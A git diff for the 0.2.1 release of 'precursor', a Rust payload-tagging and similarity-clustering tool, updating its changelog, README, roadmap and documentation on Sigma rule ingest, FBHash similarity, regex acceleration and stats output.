diff --git a/CHANGELOG.md b/CHANGELOG.md index dcec0bb..c7b4b0e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,3 +1,47 @@ +0.2.1 - 2026-02-14 +=================== + +## Added +- Raw-binary ingestion mode: + - `-B, --input-binary` + - `--input-mode binary` +- Sigma keyword rule ingest: + - `--sigma-rule ` + - converts Sigma detection selectors into named-capture PCRE patterns. + - applies Sigma `condition` expressions before emitting records. +- Regex-engine scaffold: + - `--regex-engine pcre2|vectorscan` + - `vectorscan` mode emits compatibility diagnostics and uses the current PCRE2 execution path. +- Public corpus scenarios: + - Log4Shell PCAP-derived probe triage + - fox-it Log4Shell PCAP replay triage + - public binwalk firmware-blob triage + - Sigma Linux shell suspicious-command triage + - public Zeek DNS log triage +- FBHash backend implementation: + - `--similarity-mode fbhash` + - in-tree FBHash-inspired chunk-vector hash + pairwise diff path +- Strategy docs: + - `SIGMA_INTEGRATION.md` + - `HARDWARE_ACCELERATION.md` + - `SIMILARITY_BACKENDS.md` + - `STATS.md` + +## Changed +- Blob-mode decoding for `base64` and `hex` now operates directly on bytes (no UTF-8 wrapper prerequisite). +- Scenario runner and GitHub Pages demo now include binary mode, Sigma ingest, and public corpus workflows. +- README and roadmap were updated for release-readiness and feature clarity. + +## Fixed +- Added regression coverage for binary blob ingestion from stdin and input folders. +- Added regression coverage for `--stats` schema and backend-mode reporting. +- Added contract test for deterministic PCAP replay extraction script output. + +## Known limitations +- Sigma ingest currently targets the `detection` selector space and does not yet implement full Sigma pipeline/backend transforms. +- FBHash currently uses an in-tree stream-friendly approximation and does not yet run a separate corpus-wide IDF indexing stage. +- MRSHv2 depends on a native adapter library when `similarity-mrshv2` is enabled. + 0.2.0 - 2026-02-13 =================== @@ -45,6 +89,5 @@ - Replaced panic-prone file ingestion `expect(...)` paths with recoverable error handling. ## Known limitations -- Blob mode supports raw bytes in `string` mode, and UTF-8 encoded `base64`/`hex` wrappers for encoded modes. -- FBHash backend mode remains scaffolded. +- FBHash backend was scaffolded in 0.2.0 and implemented in 0.2.1. - MRSHv2 depends on a native adapter library when `similarity-mrshv2` is enabled. diff --git a/Cargo.lock b/Cargo.lock index c0dbad9..e8ba4bf 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -556,7 +556,7 @@ checksum = "350e9b48cbc6b0e028b0473b114454c6316e57336ee184ceab6e53f72c178b3e" [[package]] name = "precursor" -version = "0.2.0" +version = "0.2.1" dependencies = [ "atomic-counter", "base64", diff --git a/Cargo.toml b/Cargo.toml index 97bd247..2bf78b5 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,7 +1,7 @@ [package] name = "precursor" build = "build.rs" -version = "0.2.0" +version = "0.2.1" edition = "2021" rust-version = "1.86" authors = ["Matt Lehman "] diff --git a/HARDWARE_ACCELERATION.md b/HARDWARE_ACCELERATION.md new file mode 100644 index 0000000..f36ad4f --- /dev/null +++ b/HARDWARE_ACCELERATION.md @@ -0,0 +1,61 @@ +# Regex Acceleration and Offload + +Last updated: February 14, 2026 + +## Goal + +Increase pattern matching throughput for high-volume payload streams while keeping +Precursor output semantics unchanged. + +## Practical options + +### 1) CPU SIMD acceleration (recommended first) + +- **Hyperscan** / **Vectorscan** provide high-throughput regex matching. +- Best fit as an optional prefilter or alternate regex engine for compatible patterns. +- Important caveat: these engines intentionally do not support full PCRE syntax + (for example, backreferences and some advanced constructs). + +### 2) NIC/DPU/GPU-style regex offload (longer-term) + +- DPDK `rte_regexdev` provides an abstraction for hardware regex acceleration devices. +- This path is feasible but requires device-specific integration and deployment complexity. +- Some historic offload products have uncertain lifecycle; validate long-term vendor support + before committing production architecture. + +## Suggested implementation plan + +1. Add a regex engine abstraction in code (`pcre2` default, accelerated engine optional). + - Implemented scaffold: `--regex-engine pcre2|vectorscan`. + - Current `vectorscan` mode emits compatibility diagnostics and executes through PCRE2 fallback path. +2. Start with a safe compatibility subset: + - compile simple/wildcard/Sigma-generated patterns into accelerated engine + - fallback to PCRE2 for unsupported patterns +3. Add CI benchmarks that compare: + - `pcre2` baseline + - accelerated mode + - mixed compatibility fallback mode +4. Expose engine selection in CLI: + - `--regex-engine pcre2|vectorscan` + +## Fit with Precursor + +This aligns well with pre-protocol triage workloads: + +- broad, high-recall pattern sets +- high packet/log volume +- need for deterministic JSON output contracts + +Similarity hashing and protocol inference stages can remain unchanged while regex +front-end throughput is improved. + +## References + +- Hyperscan developer reference (PCRE subset and unsupported constructs): + - https://intel.github.io/hyperscan/dev-reference/compilation.html +- Vectorscan project README (portable Hyperscan fork and architecture support): + - https://github.com/VectorCamp/vectorscan +- DPDK regex device API (hardware regex abstraction layer): + - https://doc.dpdk.org/guides/prog_guide/regexdev.html +- NVIDIA BlueField DOCA RegEx lifecycle discussion: + - https://forums.developer.nvidia.com/t/bluefield-and-regex-support/303845 diff --git a/README.md b/README.md index 415d2c8..7cc898d 100644 --- a/README.md +++ b/README.md @@ -5,24 +5,23 @@

`precursor` is a CLI for **pre-protocol payload tagging + similarity clustering**. -It combines PCRE2 named-capture matching, TLSH/LZJD similarity, optional MRSHv2 adapter mode, and JSON outputs that are easy to feed into detection engineering and LLM-assisted protocol discovery loops. +It combines PCRE2 named-capture matching, TLSH/LZJD/FBHash similarity, optional MRSHv2 adapter mode, and JSON outputs that are easy to feed into detection engineering and LLM-assisted protocol discovery loops. Project page: https://precursor.hashdb.io -## Release 0.2.0 Highlights +## Release 0.2.1 Highlights | Area | What landed | | --- | --- | | Packet Inference | Single-packet protocol scoring via `-P` / `-A` / `-k` | -| Blob Processing | `-z, --input-blob` for multiline or stream-as-one-record analysis | -| Similarity Workflows | TLSH or LZJD clustering + protocol hints (`--protocol-hints`) for discovery loops | +| Blob + Binary Processing | `-z, --input-blob` and `-B, --input-binary` for multiline and raw-byte stream analysis | +| Similarity Workflows | TLSH, LZJD, or FBHash clustering + protocol hints (`--protocol-hints`) for discovery loops | +| Sigma Compatibility | `--sigma-rule` converts selectors into named PCRE captures and enforces Sigma `condition` logic | +| Regex Engine Scaffold | `--regex-engine pcre2|vectorscan` with compatibility diagnostics and PCRE2 fallback path | | Output Contract | Stable `protocol_*`, `similarity_hash`, `tags`, `xxh3_64_sum` JSON fields | | Reliability | Runtime ingest path no longer relies on panic-prone `expect(...)` calls | -| Scenario Corpus | Versioned packet/firmware/ICS samples in `samples/scenarios/` | +| Scenario Corpus | Versioned packet/firmware/ICS + public PCAP/log/Sigma-derived samples in `samples/scenarios/` | | Release Ops | Dependency auto-bump/tag workflows + benchmark harness + Pages site | -> [!IMPORTANT] -> **Known limitation:** in blob mode (`-z`), raw bytes are fully supported in `string` mode, while `base64` and `hex` blob decoding currently expects UTF-8 wrapper text. - ## 60-second teaser ```bash @@ -62,7 +61,7 @@ Why this matters: - Not a replacement for full IDS/NSM stacks (Suricata, Zeek). - Not a malware rule engine replacement (YARA / YARA-X). -- Not yet a full raw-binary parser framework; blob mode currently expects UTF-8 wrappers for `base64`/`hex` decode modes. +- Not a full protocol parser stack; this is pre-protocol triage and clustering. ## Architecture @@ -141,42 +140,91 @@ cat payloads.raw \ | precursor -p patterns/new -m string -t -d --similarity-mode lzjd -x 80 ``` -### 7) Emit protocol-discovery hints for an LLM loop +### 7) Switch to FBHash similarity mode + +```bash +cat payloads.raw \ + | precursor -p patterns/new -m string -t -d --similarity-mode fbhash -x 90 +``` + +### 8) Emit protocol-discovery hints for an LLM loop ```bash cat payloads.b64 \ | precursor -p patterns/new -m base64 -t -d --protocol-hints --protocol-hints-limit 20 ``` -### 8) Enable single-packet protocol inference output +### 9) Enable single-packet protocol inference output ```bash cat payloads.b64 \ | precursor -p patterns/new -m base64 -P -A 0.7 -k 5 ``` -### 9) Match a multiline payload as one blob +### 10) Match a multiline payload as one blob ```bash printf 'GET /blob HTTP/1.1\nHost: blob.example\n' \ | precursor '(?GET /blob HTTP/1\.1\nHost: blob\.example)' -m string -z ``` +### 11) Match a raw-binary blob (short flag) + +```bash +printf '\x7fELF\x02\x01\x01\x00' \ + | precursor '(?^\x7fELF)' -B +``` + +### 12) Load Sigma rules with condition gating + +```bash +cat samples/scenarios/sigma-linux-shell-command-triage/payloads.log \ + | precursor --sigma-rule samples/scenarios/sigma-linux-shell-command-triage/sigma_rule.yml \ + -m string -t -d --similarity-mode lzjd +``` + +### 13) Run vectorscan compatibility mode (PCRE2 fallback) + +```bash +cat payloads.raw \ + | precursor '(?GET)' -m string --regex-engine vectorscan +``` + +### 14) Replay a real public Log4Shell PCAP (FBHash mode) + +```bash +cat samples/scenarios/public-log4shell-foxit-pcap/payloads.string \ + | precursor -p samples/scenarios/public-log4shell-foxit-pcap/patterns.pcre \ + -m string -t -d --similarity-mode fbhash -P --protocol-hints +``` + +### 15) Triage public firmware blobs in binary folder mode + +```bash +precursor -p samples/scenarios/public-firmware-binwalk-magic/patterns.pcre \ + -f samples/scenarios/public-firmware-binwalk-magic/blobs \ + --input-mode binary -t -d --similarity-mode lzjd -P --protocol-hints +``` + ## CLI reference ```text precursor [PATTERN] [OPTIONS] ``` +At least one pattern source is required: positional `PATTERN`, `--pattern-file`, or `--sigma-rule`. + Pattern source: - positional `PATTERN` (single named-capture regex) - `-p, --pattern-file ` (one named-capture pattern per line) +- `--sigma-rule ` (Sigma YAML selectors converted to named-capture PCRE patterns with `condition` enforcement) Input: - `-f, --input-folder `: read newline-delimited content from files - stdin: read newline-delimited input from standard input - `-z, --input-blob`: process each input source as one blob instead of line splitting -- `-m, --input-mode `: decode mode (default: `base64`) +- `-B, --input-binary`: treat each source as raw binary bytes (implies blob processing semantics) +- `-m, --input-mode `: decode mode (default: `base64`) - `-j, --input-json-key `: extract payload from JSON input first Similarity: @@ -187,14 +235,15 @@ Similarity: - `-l, --tlsh-length`: include payload length in diff scoring - `-y, --tlsh-sim-only`: only output payloads that have TLSH similarities - `--similarity-mode `: - - `tlsh` and `lzjd` are implemented in default builds + - `tlsh`, `lzjd`, and `fbhash` are implemented in default builds - `mrshv2` is implemented behind `--features similarity-mrshv2` and native adapter linking - - `fbhash` remains scaffolded + - `fbhash` currently uses an in-tree FBHash-inspired chunk-vector model for stream-friendly pairwise scoring - `--protocol-hints`: emit LLM-oriented protocol-discovery hint JSON to `stderr` - `--protocol-hints-limit `: limit hint candidate count (default: `25`) - `-P, --single-packet`: enable heuristic protocol inference on each matched payload - `-A, --abstain-threshold <0.0-1.0>`: minimum confidence required to emit a non-`unknown` label (default: `0.65`) - `-k, --protocol-top-k `: candidate count included in `protocol_candidates` (default: `3`) +- `--regex-engine `: regex engine selection (`vectorscan` mode emits compatibility checks and executes through current PCRE2 path) Other: - `-s, --stats`: emit run statistics JSON to `stderr` @@ -211,23 +260,44 @@ Each matched payload is emitted as JSON on `stdout` with fields such as: - `protocol_confidence`: confidence score for `protocol_label` - `protocol_abstained`: whether inference abstained under threshold - `protocol_candidates`: scored candidate list with evidence strings +- `sigma_rule_matches`: Sigma rule titles whose `condition` evaluated true (when `--sigma-rule` is used) +- `sigma_rule_ids`: stable Sigma rule IDs/slugs that evaluated true When `--stats` is enabled, a summary JSON object is emitted to `stderr`. +See `STATS.md` for schema, field meanings, and `jq` examples. When `--protocol-hints` is enabled, an additional hint JSON block is emitted to `stderr` for LLM-guided protocol discovery workflows, including `protocol_*` fields when single-packet inference is enabled. When both `--single-packet` and `--tlsh-diff` are enabled, protocol confidence is cluster-boosted using similarity neighbor counts. -When `--input-blob` is enabled, each file/stdin stream is treated as a single candidate payload. +When `--input-blob` is enabled (or `--input-binary` is set), each file/stdin stream is treated as a single candidate payload. + +### Stats quick view + +```bash +cat payloads.b64 \ + | precursor -p patterns/new -m base64 -t -d --similarity-mode lzjd --stats \ + 1>/tmp/records.ndjson 2>/tmp/stats.json + +jq '.Environment + {input_count: .Input.Count, similarities: .Compare.Similarities}' /tmp/stats.json +``` + +Notes: +- `Compare` may be empty when too few matched payloads produce pairwise distances. +- Historical record field names like `tlsh_similarities` are preserved for compatibility across TLSH/LZJD/FBHash modes. ## Positioning vs adjacent tools - Use **Suricata/Zeek** for full protocol-aware IDS/NSM and rich ecosystem integrations. - Use **YARA/YARA-X** for signature-based scanning of files and malware-centric workflows. -- Use **Precursor** when you need lightweight, custom payload tagging plus TLSH/LZJD similarity in one CLI pipeline. +- Use **Sigma** for backend-agnostic detection content and SIEM portability. +- Use **Precursor** when you need lightweight payload tagging + similarity clustering, or when you want to run Sigma keyword intent directly against raw payload streams via `--sigma-rule`. ## Scenario corpus and demos - Scenario corpus: `samples/scenarios/` - Demo runner: `samples/scenarios/run_all.sh` - Static demo site source: `site/` +- Includes packet/firmware/ICS plus public PCAP-derived Log4Shell probes, real fox-it Log4Shell PCAP replay, Sigma shell-command triage, Zeek DNS log triage, and real binwalk firmware blob samples. +- Site includes mini replay reels that visually walk through PCAP replay, firmware blob triage, and Sigma labeling behavior. +- `tshark` is only required when regenerating PCAP-derived payload extracts. ```bash samples/scenarios/run_all.sh ./target/release/precursor @@ -259,6 +329,9 @@ Committed baseline: See `ROADMAP.md` for prioritized milestones and release criteria. See `SIMILARITY_BACKENDS.md` for MRSHv2/FBHash feasibility and backend sequencing. +See `SIGMA_INTEGRATION.md` for Sigma feature coverage and next steps. +See `HARDWARE_ACCELERATION.md` for regex acceleration/offload strategy. +See `STATS.md` for run-statistics schema and usage guidance. ## Development diff --git a/ROADMAP.md b/ROADMAP.md index b388e66..85f84ec 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -1,6 +1,6 @@ # Roadmap -Last updated: February 13, 2026 +Last updated: February 14, 2026 ## Release focus: `0.2.x` @@ -12,43 +12,54 @@ Last updated: February 13, 2026 ## Near-term milestones ### 1) Binary/blob depth improvements -Status: `in progress` -- Expand blob mode beyond UTF-8 wrappers for `base64`/`hex`. -- Add explicit raw-binary mode semantics for firmware and packet stream chunks. -- Added corpus fixtures for binary-like and mixed-encoding payloads in `samples/scenarios/`. +Status: `done` +- Blob mode now decodes `base64`/`hex` directly from bytes without UTF-8 wrapper requirements. +- Added explicit raw-binary mode semantics via `--input-mode binary` and `-B/--input-binary`. +- Added regression coverage for raw-binary stdin and folder workflows. ### 2) Similarity backend expansion Status: `in progress` - Implemented `lzjd` backend behind `--similarity-mode lzjd`. - Implemented `mrshv2` backend path behind `--similarity-mode mrshv2` with feature gate + native adapter ABI (`similarity-mrshv2`). -- Prototype `fbhash` backend behind `--similarity-mode fbhash`. +- Implemented in-tree `fbhash` backend behind `--similarity-mode fbhash`. +- Next: evaluate optional corpus-indexed FBHash variant for large offline corpus workflows. - Keep output contract backend-agnostic via `similarity_hash`. ### 3) Inference quality hardening Status: `in progress` - Add more protocol-family heuristics for single-packet inference. - Add ambiguity/abstention tests to reduce false confidence. -- Added regression corpus coverage for packet/firmware/ICS scenarios. +- Added regression corpus coverage for packet/firmware/ICS/public-log scenarios. + +### 4) Sigma-native triage workflows +Status: `in progress` +- Added `--sigma-rule` ingestion for Sigma detection selectors into named PCRE captures. +- Added `condition` parsing and gating (`and/or/not`, `N of`, `all of`, selector wildcards). +- Added scenario coverage for Linux shell suspicious-command triage from Sigma rule examples. +- Next: field/modifier parity for more Sigma selectors (`|contains|all`, CIDR modifiers, transforms). ## Mid-term milestones -### 4) Library/CLI separation +### 5) Library/CLI separation Status: `planned` - Introduce `src/lib.rs` for reusable pipeline components. - Keep CLI as thin orchestration layer. - Add integration tests that cover both library and CLI entry points. -### 5) Performance and scaling +### 6) Performance and scaling Status: `in progress` - Reduce overhead when `--stats` is disabled. +- Added `--stats` schema regression tests and dedicated `STATS.md` reference docs. - Added scenario benchmark harness (`ci/benchmark_scenarios.sh`) and baseline snapshot. - Improve large-cluster comparison ergonomics around O(n^2) diff behavior. +- Evaluate optional regex acceleration engines (Hyperscan/Vectorscan or DPDK regexdev backends) behind feature flags. ## Release criteria for `0.3.0` - `lzjd` production-hardening completed (corpus validation + benchmark baseline). - `mrshv2` native adapter path validated on CI and documented for production adapter wiring. - Blob mode supports raw binary stream workflows beyond UTF-8 wrappers. -- Integration corpus expanded with realistic packet/firmware samples. +- Sigma rule ingestion path validated for condition-driven triage. +- Integration corpus expanded with realistic packet/firmware/public-log samples. - Stable JSON schema documented with examples for all major modes. ## Backlog candidates diff --git a/SIGMA_INTEGRATION.md b/SIGMA_INTEGRATION.md new file mode 100644 index 0000000..7dde5c2 --- /dev/null +++ b/SIGMA_INTEGRATION.md @@ -0,0 +1,53 @@ +# Sigma Integration Notes + +Last updated: February 14, 2026 + +## What is implemented now + +Precursor can now ingest Sigma YAML detection selectors with: + +- `--sigma-rule `: load one or more Sigma rule files. +- Selector values under `detection` are converted to named PCRE captures. +- Sigma `condition` expressions are parsed and enforced before records are emitted. +- Basic field modifiers are mapped: + - `|contains` + - `|startswith` + - `|endswith` + - `|re` + +Generated capture names are emitted in `tags` as: +- `sigma___` +- `sigma____` for nested field selections. + +Rule-level fields are emitted when a Sigma rule condition passes: +- `sigma_rule_matches` +- `sigma_rule_ids` + +## Current limits + +- No support yet for Sigma pipelines, backend mappings, or field normalization layers. +- `condition` support currently covers selector references, `and/or/not`, and `N of` / `all of` forms. +- No support yet for advanced modifier combinations such as `|contains|all`, CIDR operators, and value transforms. + +## Why this still matters + +For payload/log triage, Sigma keyword selectors already provide high-signal pivots. +This is especially useful for: + +- shell command telemetry +- pre-parser packet or payload strings +- rapid rule prototyping before full SIEM translation + +## Next feature increments + +1. Add explicit field extraction mapping (for JSON inputs, e.g. `.CommandLine`). +2. Add support for `|contains|all`, CIDR, and encoding modifiers. +3. Emit Sigma metadata (`title`, `id`, `level`) into report fields. +4. Add parity tests against a larger subset of SigmaHQ rules. + +## References + +- Sigma Linux suspicious shell commands rule: + - https://github.com/SigmaHQ/sigma/blob/master/rules/linux/builtin/lnx_shell_susp_commands.yml +- Sigma specification repository: + - https://github.com/SigmaHQ/sigma-specification diff --git a/SIMILARITY_BACKENDS.md b/SIMILARITY_BACKENDS.md index bbe0c66..55f605b 100644 --- a/SIMILARITY_BACKENDS.md +++ b/SIMILARITY_BACKENDS.md @@ -1,109 +1,50 @@ -# Similarity Backend Feasibility - -Last updated: February 13, 2026 - -## Goal - -Determine whether Precursor should add MRSHv2 and/or FBHash support, and whether a newer algorithm should be prioritized first. - -## Summary Recommendation - -1. Keep `lzjd` as the first non-TLSH backend (now implemented in-tree in this repo). -2. Keep MRSHv2 in feature-gated native adapter mode and harden with production adapter coverage. -3. Treat FBHash as optional/experimental unless we commit to corpus-level indexing and TF-IDF state management. - -## Evidence Snapshot - -### MRSHv2 -- Frank Breitinger's tools page still lists `mrsh_v2.0` (last update 2013-10-04), `mrsh_net` (2014-11-12), and `mrsh_cuckoo` (2015-04-10): - - https://fbreitinger.de/?page_id=218 -- A current mirror/development repo exists (`w4term3loon/mrsh`), with release `v1.0.0` dated October 13, 2025 and Apache-2.0 license: - - https://github.com/w4term3loon/mrsh - - (discovered via PyPI project linking and release metadata) -- Python bindings (`mrshw`) were released as `1.0.0` on October 13, 2025 and explicitly wrap the MRSH CLI: - - https://pypi.org/project/mrshw/ - -### FBHash -- Rust implementation exists with recent release metadata (`0.1.5` latest release June 25, 2025), but low ecosystem traction (very low stars/forks): - - https://github.com/erwinvaneijk/fbhash -- Repo README content confirms algorithm design is TF-IDF/cosine based over document chunks, which implies corpus-level state rather than simple per-record digesting. - -### Recent Forensic Direction -- 2024 temporal Android malware evaluation reports fuzzy hashing remains useful and robust over long horizons (10-year detection rates over 80%), comparing multiple algorithm families: - - https://doi.org/10.1016/j.fsidi.2024.301770 - - landing/details: https://pure.qub.ac.uk/en/publications/a-temporal-analysis-and-evaluation-of-fuzzy-hashing-algorithms-fo/ -- 2025 Windows-system-binary dataset article includes TLSH, ssdeep, sdhash, and LZJD digests, indicating LZJD remains operationally relevant in recent forensic workflows: - - https://doi.org/10.1016/j.dib.2025.111993 - - PubMed entry: https://pubmed.ncbi.nlm.nih.gov/40955418/ -- Rust LZJD implementation is available as a maintained crate entry: - - https://docs.rs/lzjd/latest/lzjd/ - -## Engineering Fit vs Current Precursor Pipeline - -Precursor currently assumes: -- a per-payload hash representation (`similarity_hash`) -- pairwise diff function for in-memory comparisons - -### MRSHv2 fit -- Good fit for file/blob similarity and fragment detection. -- Requires either: - - C FFI integration, or - - shelling out to CLI and parsing output (not preferred for production path). -- Complexity: medium-high. - -### FBHash fit -- Weaker fit for current architecture because FBHash relies on corpus document-frequency context. -- A correct implementation needs: - - corpus build stage - - stored global DF model - - vector representation per payload - - cosine similarity, not just digest-distance semantics -- Complexity: high. - -### LZJD fit -- Strong fit to current architecture. -- Pure Rust implementation path. -- Can be used for pairwise distance without external native dependencies. -- Complexity: medium. - -## Proposed Implementation Plan - -## Phase 1 (completed in repo) -- Added `lzjd` backend to `--similarity-mode`. -- Implemented: - - hash creation from payload bytes - - pairwise distance scoring - - report output field continuity (`similarity_hash`, diff maps) -- Added mode-specific unit/integration tests. - -## Phase 2 (in progress) -- Added `mrshv2` backend path behind Cargo feature: - - `similarity-mrshv2` -- Added native C adapter ABI contract: - - `ffi/mrshv2_adapter.h` -- Added CI smoke validation with a mock native adapter: - - `ci/build_mrshv2_mock.sh` - - `.github/workflows/ci.yml` (`mrshv2-ffi-smoke`) -- Remaining work: - - wire adapter against production MRSHv2 core implementation - - validate adapter semantics against a real MRSHv2 corpus - -## Phase 3 (optional/experimental) -- Add FBHash in a separate mode family that explicitly supports corpus-state workflows: - - `--similarity-mode fbhash` - - plus corpus/index path inputs -- Do not force FBHash into the simple "single digest + pairwise diff" model. - -## Release Criteria for Backend Expansion - -Before enabling non-TLSH mode by default: -- deterministic fixtures for each mode -- runtime and memory benchmarks for line mode and blob mode -- docs that state minimum payload size and failure behavior -- clear provenance and license tracking for any external implementation - -## Open Risks - -- Supply-chain risk from low-adoption crates/repos: pin versions, verify source, and prefer reproducible builds. -- API-shape mismatch between digest-distance tools and corpus-vector tools. -- Native dependency complexity for MRSHv2 if static linking is required across platforms. +# Similarity Backends + +Last updated: February 14, 2026 + +## Current State + +Precursor currently supports four similarity modes: + +- `tlsh` (default build): mature fuzzy hash mode with minimum payload size constraints. +- `lzjd` (default build): in-tree LZJD-style sketching for stream-friendly pairwise diffing. +- `fbhash` (default build): in-tree FBHash-inspired chunk-vector hashing for pairwise cosine-style distance. +- `mrshv2` (feature-gated): native-adapter integration behind `--features similarity-mrshv2`. + +## Practical Guidance + +- Use `tlsh` when payloads are long enough and you need compatibility with existing TLSH workflows. +- Use `lzjd` when you need robust behavior across mixed text/binary payloads with no native dependencies. +- Use `fbhash` when chunk-pattern families are important (for example replay traffic variants) and you want an alternative lens to TLSH/LZJD. +- Use `mrshv2` when you already operate MRSHv2 infrastructure and can supply the native adapter library. + +## Notes on FBHash Mode + +The current `fbhash` mode is an in-tree, operationally focused implementation aligned to Precursor's per-record hash and pairwise diff model. +It does not yet implement full corpus-wide IDF state management as a separate indexing stage. +This keeps runtime ergonomics consistent with existing `-t/-d` workflows. + +## MRSHv2 Adapter + +`mrshv2` requires: + +- build flag: `--features similarity-mrshv2` +- native adapter library linked via: + - `PRECURSOR_MRSHV2_LIB_DIR` + - optional `PRECURSOR_MRSHV2_LIB_NAME` + +For CI/local smoke tests, use: + +```bash +mock_dir="$(mktemp -d)" +ci/build_mrshv2_mock.sh "$mock_dir" +PRECURSOR_MRSHV2_LIB_DIR="$mock_dir" cargo test --workspace --features similarity-mrshv2 +``` + +## Release Expectations + +Before changing default recommendations: + +- keep deterministic fixtures for each mode in `tests/` and `samples/scenarios/` +- benchmark throughput and memory by mode +- document constraints and failure behavior in `README.md` and `STATS.md` diff --git a/STATS.md b/STATS.md new file mode 100644 index 0000000..c582d13 --- /dev/null +++ b/STATS.md @@ -0,0 +1,83 @@ +# Stats Output Guide + +`precursor --stats` emits a run summary JSON object to `stderr`. +This is designed for automation and dashboards while keeping payload records on `stdout`. + +## Quick Example + +```bash +cat payloads.b64 \ + | precursor -p patterns/new -m base64 -t -d --similarity-mode lzjd --stats \ + 1>/tmp/records.ndjson 2>/tmp/stats.json +``` + +Inspect: + +```bash +jq '.' /tmp/stats.json +``` + +## Top-Level Schema + +- `---PRECURSOR_STATISTICS---`: marker string. +- `Input`: input volume and size metrics. +- `Match`: pattern and hash generation metrics. +- `Compare`: distance summary when enough pairwise comparisons exist. +- `Environment`: run-time settings snapshot. + +## Field Notes + +### `Input` + +- `Count`: total payload candidates processed. +- `Unique`: unique payloads by `xxh3_64_sum`. +- `AvgSize`, `MinSize`, `MaxSize`, `P95Size`, `TotalSize`: size distribution. + +### `Match` + +- `Patterns`: number of compiled pattern expressions. +- `TotalMatches`: total named-capture hits. +- `Matches`: per-tag hit counts. +- `HashesGenerated`: similarity hashes generated for matched payloads. +- Size fields summarize only matched payloads. + +### `Compare` + +- `Similarities`, `AvgDistance`, `MinDistance`, `MaxDistance`, `P95Distance`. +- May be `null`/empty when insufficient pairwise distances are available. + - Practical rule: provide at least 3 matched payloads to reliably populate this section. + +### `Environment` + +- Includes version and run-time selections: + - `SimilarityMode` + - `RegexEngine` + - `InputMode` + - `HashFunction` + - `DistanceThreshold` + - protocol inference options and Sigma count. + +## Compatibility Notes + +- Historical field names such as `tlsh_similarities` in record output remain for compatibility, even when running `lzjd` or `fbhash`. +- `HashFunction` reflects TLSH algorithm selection argument and is retained for compatibility; non-TLSH modes still report the selected similarity mode explicitly via `SimilarityMode`. + +## Useful Queries + +Total input and throughput: + +```bash +jq '{count: .Input.Count, total: .Input.TotalSize, rate: .Environment.ProcessingRate}' /tmp/stats.json +``` + +Most frequent tags: + +```bash +jq '.Match.Matches | sort_by(.Matches) | reverse | .[:10]' /tmp/stats.json +``` + +Distance snapshot: + +```bash +jq '.Compare' /tmp/stats.json +``` diff --git a/ai/MEMORY.md b/ai/MEMORY.md index 189ec91..ab36acc 100644 --- a/ai/MEMORY.md +++ b/ai/MEMORY.md @@ -5,11 +5,12 @@ Last updated: February 13, 2026 ## Product Snapshot - Language: Rust - Binary: `precursor` (`src/main.rs`) -- Core purpose: tag payloads with PCRE2 named-capture patterns, optionally compute similarity hashes (TLSH/LZJD/feature-gated MRSHv2) and pairwise distances, emit JSON records to STDOUT and optional run stats to STDERR. +- Core purpose: tag payloads with PCRE2 named-capture patterns, optionally compute similarity hashes (TLSH/LZJD/FBHash/feature-gated MRSHv2) and pairwise distances, emit JSON records to STDOUT and optional run stats to STDERR. ## Repository Map - `src/main.rs`: CLI, ingest loop, matching pipeline, TLSH diff stage, stats/report output. - `src/precursor/similarity.rs`: similarity backend selector and backend-agnostic hash/diff dispatch. +- `src/precursor/fbhash.rs`: in-tree FBHash-inspired chunk-vector similarity backend. - `src/precursor/lzjd.rs`: in-tree LZJD-style hashing backend for pairwise similarity mode. - `src/precursor/mrshv2.rs`: feature-gated MRSHv2 native adapter bindings and hash/diff wrapper. - `src/precursor/util.rs`: payload decoding, regex builder, pattern file loader, utility functions and unit tests. @@ -23,13 +24,13 @@ Last updated: February 13, 2026 1. Parse args and read patterns from `-p` file or positional pattern. 2. Compile regexes once before processing input lines. 3. Read stdin lines (parallel) or files from `-f` directory. -4. Decode payload (`base64`/`string`/`hex`) and optionally extract from JSON path. +4. Decode payload (`base64`/`string`/`hex`/`binary`) and optionally extract from JSON path. 5. Apply PCRE2 rules and collect matching capture names as tags. 6. For matched payloads, optionally compute selected similarity hashes and optional pairwise diffs. 7. Emit per-payload JSON to STDOUT and optional stats JSON to STDERR. ## Known Constraints -- Blob mode (`--input-blob`) is implemented, but encoded blob decoding (`base64`/`hex`) currently expects UTF-8 wrapper text. +- Line-oriented stdin/file mode still expects text line boundaries; use `-z` or `-B` for arbitrary binary streams. - Pairwise similarity diff is O(n^2) by number of matched payload hashes. ## Recently Landed Improvements @@ -42,7 +43,7 @@ Last updated: February 13, 2026 - `tlsh` (existing) - `lzjd` (implemented) - `mrshv2` (implemented behind `similarity-mrshv2` + native adapter ABI) - - `fbhash` (scaffolded for future work) + - `fbhash` (implemented in-tree for stream-friendly pairwise diffing) - Protocol-hint export (`--protocol-hints`) now emits LLM-oriented candidate clusters to `stderr`. - Single-packet protocol inference mode was added: - `--single-packet` @@ -51,6 +52,9 @@ Last updated: February 13, 2026 - output fields: `protocol_label`, `protocol_confidence`, `protocol_abstained`, `protocol_candidates` - Inference confidence can now be cluster-boosted from similarity neighbor counts when `--single-packet` and `--tlsh-diff` are both enabled. - Blob mode is now implemented with `--input-blob` for one-record ingestion from stdin/file streams. +- Blob mode now decodes `base64`/`hex` directly from bytes without UTF-8 wrapper constraints. +- Raw-binary mode added via `--input-mode binary` and `-B/--input-binary`. +- Sigma ingest added via `--sigma-rule ` with condition gating support. - Ingestion now handles file/line errors without panic in runtime paths. - CLI integration tests now validate: - single-packet protocol fields @@ -60,6 +64,11 @@ Last updated: February 13, 2026 - pre-protocol packet corpus behavior - firmware-fragment inference behavior - ICS Modbus hint emission + - public Log4Shell PCAP-derived probe behavior + - Sigma shell-command rule behavior + - public Zeek DNS log extraction behavior + - fox-it Log4Shell PCAP replay extraction behavior + - public binwalk firmware blob tag behavior - README was rewritten to match actual CLI behavior and project positioning. - Release checklist now reflects Precursor's actual release process. - CI/CD now includes Dependabot plus auto patch-version bump and auto-tag workflows for dependency-driven releases. @@ -71,5 +80,6 @@ Last updated: February 13, 2026 ## Current Priorities 1. Expand realistic payload corpora and broaden integration fixture coverage. 2. Extend inference for binary stream/firmware-first workflows (file magic, container formats, stream framing). -3. Evaluate library/CLI split (`src/lib.rs`) for embeddability. -4. Reduce stats-related overhead when `--stats` is disabled. +3. Evaluate optional regex acceleration backends (Hyperscan/Vectorscan/DPDK regexdev). +4. Evaluate library/CLI split (`src/lib.rs`) for embeddability. +5. Reduce stats-related overhead when 